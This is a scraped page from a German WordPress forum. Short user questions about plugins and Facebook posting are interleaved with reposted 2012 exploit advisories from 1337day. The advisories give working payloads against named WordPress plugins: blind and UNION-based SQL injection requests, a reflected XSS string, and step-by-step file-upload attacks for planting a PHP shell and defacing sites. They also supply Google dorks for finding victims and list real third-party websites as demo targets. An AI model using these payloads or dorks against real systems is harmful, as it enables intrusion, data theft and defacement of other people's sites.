Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenIch weiß nicht wie es heute ist, aber vor nem knappen Jahr hatte RSS-Graffiti ziemlich oft Probleme, dass die die Feeds nicht gepostet hatten. Ich denke mal das sie immer wieder Probleme mit dem Cronjob hatten.
http://t3n.de/news/facebook-veroffentlicht-394270/
Das sollte dir helfen.
Kennt ihr ein Addon womit sich User übers Frontend Registrieren & Anmelden können?
Email Before Download <=3.16 Remote Blind SQL Inyection
# Wordpress Plugin: Email Before Download <=3.16 Remote Blind SQL Inyection
# Dork: allinurl: plugins/email-before-download
# Download: https://wordpress.org/extend/plugins/email-before-download/
# Date: 13/04/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# http://www.localh0t.com.arThe variable $download_id is not properly sanitized with $wpdb->escape() before using it.
On line 120 (File: /email-before-download/email-before-download.php) we can see that:
=====================================================================================120: $ebd_item = $wpdb->get_row( "SELECT * FROM $table_item WHERE download_id = '$download_id' " );
In the HTML generated, we can see that $download_id takes the $_POST value variable "_wpcf7_download_id" :
201: $hf .= '<input type="hidden" name="_wpcf7_download_id" value="' . $download_id. '" /></form>';
PoC:
====POST http://website.com/?tag=some-post-with-contact-form
Data:
=====
_wpcf7=135&_wpcf7_download_id=6 [SQL HERE]&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test
Example:
========
_wpcf7=135&_wpcf7_download_id=6 and sleep(10)&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test(POST variables names may vary)
# 1337day.com [2012-04-13]
Ghostface
Versteh mich jetzt nicht falsch aber ich hoffe für dich das dein Sever managed ist, ansonsten seh ich etwas schwarz.
Mich geht es aber auch nichts an wieso du dir unbedingt einen Server, zudem dann auch noch in der "Türkei" holen musst. Zumal es bedeutend bessere, sogar Offshore, gibt.
Sollte dein Hoster dein Server nicht managen, dann melde dich bei mir. Kenn genug Leute die Server Administrieren und das auch beruflich machen.
[Wp-insert Wordpress Plugin [FCKeditor] Upload]
##################################################
# Exploit Title: [Wp-insert Wordpress Plugin [FCKeditor] Upload]
# Date: [06-04-2012]
# Author: [Hacker-Fire]
# Category:: [ webapps]
# Software Link: [http://wordpress.org/extend/plugins/wp-insert/]
# Google dork: [ /wp-insert/fckeditor/]
# Tested on: [Windows 7 & BT5r2 ]
# Demo site: [http://www.hiphopcongress.com/wp-content/plu…/frmupload.html]
[http://fop95.com/blog/wp-conten…/frmupload.html]
[http://elles.centrepompidou.fr/blog/wp-conten…/frmupload.html]
##################################################[~] P0c [~] :
Vuln Upload file in :
localhost/PATH/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html
Upload Your Shell : php;gif & Enjoy .
##########################################################
[»] Greetz to :
[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]
##########################################################
# 1337day.com [2012-04-07]
Wordpress taggator plugin Sql Injection Vulnerabilities
a bug in Wordpress taggator plugin that allows to us to occur
a Sql Injection on a Remote machin.########################################################
#
# Exploit Title : Wordpress taggator plugin Sql Injection Vulnerabilities
#
# Author : #BHG Security Center - IrIsT Security Team
#
# Discovered By : Am!r
#
# Home : http://Black-hg.Org - http://IrIsT.Ir
#
# Software Link : http://wordpress.org/extend/plugins/taggator/
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : "Powered by Wordpress"
#
########################################################
#
# Expl0iTs :
#
# [TarGeT]/wp-content/plugins/taggator/taggator.php?tagid=[Sql]
#
#########################################################
#
# Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN -
#
# G3n3rall - Mr.XHat - Bl4ck.Viper - Dj.TiniVini - B3Hz4d - Crim3R - d3c0d3r
#
#########################################################
#
# GreetZ : All Active Member in #BHG Security Center & IrIsT.Ir
#
#########################################################
# 1337day.com [2012-04-06]
[MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]
##################################################
# Exploit Title: [ [MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]
# Date: [03-04-2012]
# Author: [ Hacker-Fire ]
# Category:: [ webapps]
# Google dork: [inurl:mowpop]
# Greetz Milw0rm : 1337day.com
# Demo site:
[1-http://www.updatedeinleben.com/wp-content/plu…wpop/submit.php]
[2-http://my-air-conditioner.com/wp-content/plu…wpop/submit.php]
[3-http://jennysweets.com/blog/wp-conten…wpop/submit.php]
# Tested on: [Windows & Linux ]
##################################################1- Go to a website with the google dork and modify all url (without domain) with "/wp-content/plugins/mowpop/submit.php"
2- Take your Shell.php in text fields.
3- Open Tamper Data or HTTP Live Header.
4- Capture or Alter the upload.
5- Modify the content type with: "image/gif"
6- Drag'n'drop the borken picture obtained in the url bar.
7- Go to the url.
8- Ascend to the index.php with ".." url.
9- Upload your deface or other.
##########################################################
[»] Greetz to :
[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]
##########################################################
# 1337day.com [2012-04-03]
Buddypress plugin of Wordpress remote SQL Injection
# Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4
POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+
Reported to developers and fixed in version 1.5.5
# 1337day.com [2012-03-31]
WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload
#### # Exploit Title: WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload
# Author: T0x!c
# Date : 28/03/2012
# Facebook Page: http://www.facebook.com/DzTem
# E-mail: Malik_99@hotmail.fr
# Category:: webapps
# Google Dork: inurl:"plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/"
# Download: http://wordpress.org/extend/plugins…-for-wordpress/
# Version: 1.0.0
# Tested on: [Windows Xp]
####[ Vulnerable File ]
http://127.0.0.1/wp-content/plu…uploadtest.html
or
http://127.0.0.1/wp-content/plu…ctors/test.html
[ Shell ]
http://127.0.0.1/UserFiles/YourFile.txt# Demo :
http://cougardating.datingease.com/wp-content/plu…pload/test.html
http://www.cereuswomen.com/podcast/wp-con…uploadtest.html
https://scandlearn.com/iphonebeta/wp-…ctors/test.html
http://blog.nextlevelworship.com/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/connectors/test.html#=================================**AlgeriansHackers**==================================
# Greets To : KedAns-Dz * Caddy-Dz * Kha&miX * Jago-dz * Amine Msd * Kalashinkov *
(exploit-id.com) , (1337day.com) , (dis9.com) , (Dz-Team.biz)
=======================================================================================
# 1337day.com [2012-03-28]
Per FTP? Oder was meinst du? Wäre auch nie Idee.
Ich nerv euch weiter :p
Weiß das echt keiner?
Ich lasse über Wordbooker meine Postings auch bei Facebook posten. Nun wollte ich dieses aber gern ohne Artikelbild machen, da mein Blog im Erotikbereich arbeitet.
Leider hab ich bis jetzt noch nicht die Einstellung gefunden wo ich das Artikelbild abstellen kann.
Kann man irgendwo die "häufig genutzten Schlagwörtern" erweitern? Also das statt nur z.B. 20, 100 angezeigt werden?
Wordpress Comment Rating plugin Multiple Vulnerabilities
Wordpress Comment Rating plugin Multiple Vulnerabilities
# Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities
# Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/"
# 2- inurl:"/ck-processkarma.php?id="
# Date: 2/1/2012
# Author: The Evil Thinker
# Contact : Enstene156@hotmail.fr
# Software Link: http://www.wordpress.com
# Vulnerable plugin: Comment rating plugin
# Tested on: Linux
Details :
---------
the vulnerable file is "ck-processkarma.php"
the script doesn't filter the input parameters (id "sql", path "XSS")
Poc 1 (XSS) :
http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=
Poc 2 (SQL injection) :
http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]*****Inject_me_From_Here*****&action=add&path=TheMilkeyWay.exe/wp-content/plugins/comment-rating/&imgIndex=
-------------------------------------------------------------------------------------------
Special Graetz : Zack (DBA-HACKER) , Siper-N , Root-Mar , Anash , H!ch4m , Dr.Unknown , Mario-Gomez , BiiF0 , o Bla mantawel LLista
# 1337day.com [2012-01-03]
Hmmmmm :confused:
Gibts noch immer keinen?
